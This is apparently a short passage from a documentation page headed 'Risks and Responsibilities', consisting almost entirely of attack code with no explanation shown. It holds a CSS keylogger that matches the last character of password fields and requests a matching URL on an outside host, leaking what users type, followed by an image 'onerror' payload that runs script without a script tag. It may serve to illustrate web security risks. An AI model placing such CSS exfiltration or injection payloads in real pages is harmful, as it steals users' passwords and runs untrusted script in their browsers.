12. Risks and Responsibilities
<style>
input[type="password"][value$="a"] { background: url("http://website.com/a"); }
input[type="password"][value$="b"] { background: url("http://website.com/b"); }
input[type="password"][value$="c"] { background: url("http://website.com/c"); }
/* ... */
input[type="password"][value$="z"] { background: url("http://website.com/z"); }
input[type="password"][value$="{"] { background: url("http://website.com/%7B"); }
input[type="password"][value$="|"] { background: url("http://website.com/%7C"); }
/* etc */
</style><img src="x" onerror="console.log('Hey look mom! No <script> block.')">Last updated
Was this helpful?